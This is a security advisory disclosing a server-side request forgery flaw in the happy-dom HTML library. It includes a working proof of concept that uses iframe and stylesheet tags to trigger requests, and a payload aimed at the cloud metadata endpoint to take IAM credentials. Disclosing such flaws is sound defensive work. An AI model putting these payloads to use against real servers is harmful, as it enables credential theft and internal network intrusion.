GHSA-c8p4-j97h-3vg8: SSRF

Summary happy-dom v20.8.9 makes real server-side HTTP requests to arbitrary URLs when parsing HTML containing <iframe> or <link rel="stylesheet"> elements. This behavior is enabled by default (disableIframePageLoading: false, disableCSSFileLoading: false). When an application uses happy-dom to parse untrusted HTML on the server side, an attacker can trigger Server-Side Request Forgery by embedding these elements.

Affected Versions - happy-dom <= 20.8.9 (latest)

Vulnerable Behavior

By default, happy-dom has: - disableIframePageLoading: false — iframes fetch their src URL via real HTTP requests - disableCSSFileLoading: false — <link> stylesheets fetch their href URL via real HTTP requests

When untrusted HTML is parsed, these elements trigger real server-side HTTP requests to whatever URLs are specified. No special configuration or opt-in is needed.

Proof of Concept

Verified test (attacker server receives requests): javascript const http = require('http'); const { Window } = require('happy-dom');

// Start attacker server const srv = http.createServer((req, res) => { console.log(SSRF HIT: ${req.method} ${req.url}); res.writeHead(200, {'Content-Type': 'text/html'}); res.end('<html><body>stolen</body></html>'); });

srv.listen(9995, () => { // iframe SSRF — happy-dom makes a real GET request const win1 = new Window({ url: 'http://localhost' }); win1.document.write('<html><body><iframe src="http://127.0.0.1:9995/iframe-ssrf"></iframe></body></html>');

// stylesheet SSRF — happy-dom makes a real GET request const win2 = new Window({ url: 'http://localhost' }); win2.document.write('<html><head><link rel="stylesheet" href="http://127.0.0.1:9995/stylesheet-ssrf"></head><body></body></html>'); });

Test output: SSRF HIT: GET /iframe-ssrf SSRF HIT: GET /stylesheet-ssrf

Both requests confirmed received by the attacker server. Tested on happy-dom v20.8.9, Node.js v22.17.0, macOS.

Cloud metadata attack scenario: javascript const { Window } = require('happy-dom'); const win = new Window({ url: 'http://localhost' });

// Attacker-controlled HTML triggers fetch to AWS metadata endpoint win.document.write('<html><body><iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/"></iframe></body></html>');

Impact - Cloud credential theft — <iframe src="http://169.254.169.254/..."> fetches AWS/GCP/Azure metadata - Internal network scanning — probe internal services and ports - Data exfiltration — read responses from internal APIs - Affects any server-side use case — web scraping, email HTML rendering, SSR, testing with external HTML input

Suggested Fix Change defaults to disable external resource loading: javascript disableIframePageLoading: true, // change from false disableCSSFileLoading: true, // change from false

Or add URL validation to block private IP ranges and cloud metadata endpoints before fetching.